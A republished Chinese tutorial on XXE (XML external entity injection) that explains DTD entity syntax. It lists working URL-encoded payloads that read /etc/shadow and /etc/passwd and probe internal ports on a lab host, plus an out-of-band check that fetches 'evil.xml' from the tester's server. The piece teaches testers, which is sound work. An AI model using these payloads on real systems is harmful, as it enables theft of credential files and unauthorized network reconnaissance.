专栏首页农夫安全XXE漏洞挖掘分享

XXE漏洞挖掘分享

XXE漏洞挖掘

基础知识

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

引用外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">

或者

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

或者

<!ENTITY 实体名称 PUBLIC "public_ID""URI">

XML外部实体注入(XML External Entity)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

不同程序支持的协议不一样,

XXE漏洞的利用:

读取任意文件:

本地引用:

http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fshadow">]><root>%26xxe%3B<%2Froot>

http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM"file%3A%2F%2F%2Fetc%2Fpasswd">]><root>%26xxe%3B<%2Froot>

远程引用:

远程文件内容:

探测内网端口:

http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM"http%3A%2f%2f192.168.0.145%3A22%2f123">]><root>%26xxe%3B<%2Froot>

http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM "http%3A%2f%2f192.168.0.145%3A23%2f123">]><root>%26xxe%3B<%2Froot>

攻击内网的其他网站

XXE漏洞挖掘

遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

(1)检测XML是否会被解析:

[html] view plain copy

<?xml version=”1.0” encoding=”UTF-8”?> 
<!DOCTYPE ANY [  
<!ENTITY test “this is test”> 
]> 

<root>&test;</root>

如果$test;变成了”this is test”,那就继续第二步。

(2)检测服务器是否支持外部实体:

[html] view plain copy

1. <?xml version=”1.0” encoding=”UTF-8”?> 
2.   <!DOCTYPE ANY [  
3.   <!ENTITY % shit SYSTEM “http://youhost/evil.xml”> 
4.   %shit;  
5.   ]> 

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

本文分享自微信公众号 - 网络安全社区悦信安(yuexin_an),作者:admin

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-10-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • thinkphp v5.x 远程代码执行漏洞poc

    近日,thinkphp团队发布了版本更新,其中修复了一处远程代码执行漏洞,可直接getshell,影响范围:v5.x < 5.1.31,<= 5.0.23

    用户1467662
  • OD调试破解笔记

    整个文章都是参照 使用OllyDbg从零开始Cracking 这份文档写的,不是什么干货,就是一个学二进制的笔记 破解的程序 Splish.exe 使用软件 O...

    用户1467662
  • 渗透技巧——从github下载文件的多种方法

    已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe

    用户1467662
  • XXE 打怪升级之路

    其实 xxe 也是一类注入漏洞,英文全名即 Xml External Entity Injection, 即我们所说的 xml 外部实体注入攻击。

    信安之路
  • spring框架集成liquibase

    Liquibase是一个开源数据库变更管理工具,帮助技术团队跟踪、版本管理和部署数据库结构变更。以下介绍如何在spring框架集成liquibase。

    云捷易
  • javascript 商城结算页面选择今日或明日送货时间数组的实现

    今日在开发一个生鲜商城的项目,其中结算页面有一个需求。大概意思如下,后端会返回该店铺每日的营业时间,格式是 { startTime: '09.00', endT...

    FungLeo
  • 动手写个数字输入框3:痛点——输入法是个魔鬼

    前言  最近在用Polymer封装纯数字的输入框,开发过程中发现不是坑,也有不少值得研究的地方。本系列打算分4篇来叙述这段可歌可泣的踩坑经历: 《动手写个数字输...

    ^_^肥仔John
  • Nexus Repository 搭建及使用

      Nexus Repository 是搭建maven的镜像的工具之一,在全球范围内使用挺广的。

    菲宇
  • Python使用逻辑回归算法根据三围数据判断用户性别

    '''男性三围标准计算公式: 胸围=身高*0.61 腰围=身高*0.42 臀围=身高*0.64 女性三围标准计算公式: ...

    Python小屋屋主
  • Spark Streaming 2.2.0 Input DStreams和Receivers

    输入 DStreams 表示从 source 中获取输入数据流的 DStreams。在入门示例中,lines 表示输入DStream,它代表从netcat服务器...

    smartsi

扫码关注云+社区

领取腾讯云代金券